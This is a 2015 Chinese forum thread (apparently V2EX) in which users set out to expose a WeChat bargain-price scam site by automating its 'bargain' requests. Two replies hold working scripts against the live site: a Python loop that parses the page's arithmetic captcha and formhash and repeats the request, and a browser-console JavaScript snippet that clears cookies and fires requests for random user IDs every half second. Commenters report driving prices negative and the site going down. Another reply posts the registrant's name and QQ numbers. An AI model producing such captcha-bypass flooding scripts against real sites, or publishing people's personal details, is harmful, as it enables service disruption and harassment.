朋友圈砍价骗局，求指导写个脚本揭穿。

V2EX = way to explore

V2EX 是一个关于分享和探索的地方

For Existing Member Sign In

This topic created in 3860 days ago, the information mentioned may be changed or developed.

平时见得多也没理过。不过这次是家里的群发出来的。我说是骗人的他们都不信。
看了一下，只要清下 cookie 就可以继续砍。砍到差不多就变成一次一元了。

求教怎么写个脚本自动砍。他这个还有个简单的验证码。
http://apple.cargomart.cn/index.php?m=Index&a=go&id=34081&from=groupmessage&isappinstalled=0

求教

砍价

验证码

揭穿

34 replies • 2015-10-02 23:55:42 +08:00

gamexg

Oct 2, 2015

https://gist.github.com/GameXG/a37e4276db4305e4911b

python 版本。

EchoChan

Oct 2, 2015 via Android

楼主给的链接难道不像诈骗的吗？

crs0910

Oct 2, 2015 via iPhone

@EchoChan 是骗人信息

crs0910

Oct 2, 2015

@gamexg 不知道为什么我访问 gist ，总是被阻止。
“您目前无法访问 gist.github.com ，因为此网站使用了 HSTS 。网络错误和攻击通常是暂时的，因此，此网页稍后可能会恢复正常。”

faceair

Oct 2, 2015

@crs0910 DNS 缓存投毒

pupboss

Oct 2, 2015 via iPhone

@crs0910 因为海底光缆断了还没修好 233333

gamexg

Oct 2, 2015

import re
import requests
import time

uname = 'test'

def k():
s = requests.session()
r=s.get('http://apple.cargomart.cn/index.php?m=Index&a=go&id=34081&from=groupmessage&isappinstalled=0')
a,b,fromhash =re.findall(u'(\d+)\+(\d+)=.+?<input type="hidden" name="formhash" value="(.+?)">',r.content,re.S)[0]
a=int(a)
b=int(b)
c=a+b
r=s.get('http://apple.cargomart.cn/index.php?m=Index&a=kanjia&id=tom_kanjia&mod=ajax&act=kanjia&kid=1&uid=34081&name=%s&num_sun=63&formhash=%s&openid=&num_a=%s&num_b=%s&num_count=%s'%(uname,fromhash,a,b,c))
r_dict = r.json()
if r_dict['status'] == 200:
print u'-%s'%r_dict['price']

while True:
k()
time.sleep(1)

crs0910

Oct 2, 2015

@gamexg O(∩_∩)O 谢谢

iyaozhen

Oct 2, 2015 via Android

你们太坏了，已经被砍出翔了

shinwood

Oct 2, 2015 via iPhone

能不能愉快玩耍了，网站都要倒贴一台小米了。

lessate2

Oct 2, 2015

等下就能买外星人了蛤蛤

blaboy

Oct 2, 2015

目前是负数价格。。。-13K

giuem

Oct 2, 2015

预计发送 100 000 个包

SquirrelMAN

Oct 2, 2015

玩坏了哈哈

kn007

Oct 2, 2015

我是冲楼主头像来的，握手啊！
幻世录！雷欧纳德！

kn007

Oct 2, 2015

现在你家里人应该信了，白送个 ip 不说，还要倒贴钱

maskerTUI

Oct 2, 2015

恭喜楼主，已经可以赚钱了

CtrlSpace

Oct 2, 2015

66666

zerh925

Oct 2, 2015

已经-78000 了。。。

frozenshadow

Oct 2, 2015

已经 -8w 了~~~已经被玩坏了

lander

Oct 2, 2015 via Android

万能的 V 友…

lijiacong0702

Oct 2, 2015 via Android

👍又一次匡扶了正义

fstab

Oct 2, 2015

这都有人信，中国人到底有多好骗，百度已经很多负面消息了。

rwzsycwan

Oct 2, 2015

已经挂掉了

maskerTUI

Oct 2, 2015

网站注册人：魏兵广
通过反查发现此人注册了数百个垃圾域名，目测是专业的骗子公司的人。
qq 大号： 5795186
小号： 31709525

rwzsycwan

Oct 2, 2015

话说最后有没有刷到-10 万

TakanashiAzusa

Oct 2, 2015

把那个 id 的关掉了而已。。
打开这个网站页面主页，然后开发者工具运行这段代码，可以让他随机给每个 id 减。。

function test(){
document.cookie='nameid=null';
var id=+Math.round(Math.random()*85000)
var url='http://apple.cargomart.cn/index.php?m=Index&a=kanjia&id=tom_kanjia&mod=ajax&act=kanjia&kid=1&uid='+id+'&name=请叫我红领巾+&num_sun=106&formhash=52b50351&openid=&num_a=13&num_b=93&num_count=106';
$.get(url);
}
setInterval(test,500);

crs0910

Oct 2, 2015

@kn007 握手 😄

@maskerTUI 这些骗子太多了，这个比较吊，域名还是备案的，可以分享朋友圈。

@TakanashiAzusa 不知道这个 formhash 是用来干嘛的。。验证码这样验证也是醉了。

shinwood

Oct 2, 2015 via iPhone

@TakanashiAzusa 此时不感谢可爱的程序员们，更待何时！

TakanashiAzusa

Oct 2, 2015

@crs0910 验证码没啥鸟用，且不说他直接把验证结果写页面里去了。提交可以直接用 get 提交的时候他就已经输掉了。那个 formhash 也完全固定没变，不知道有鸟用。。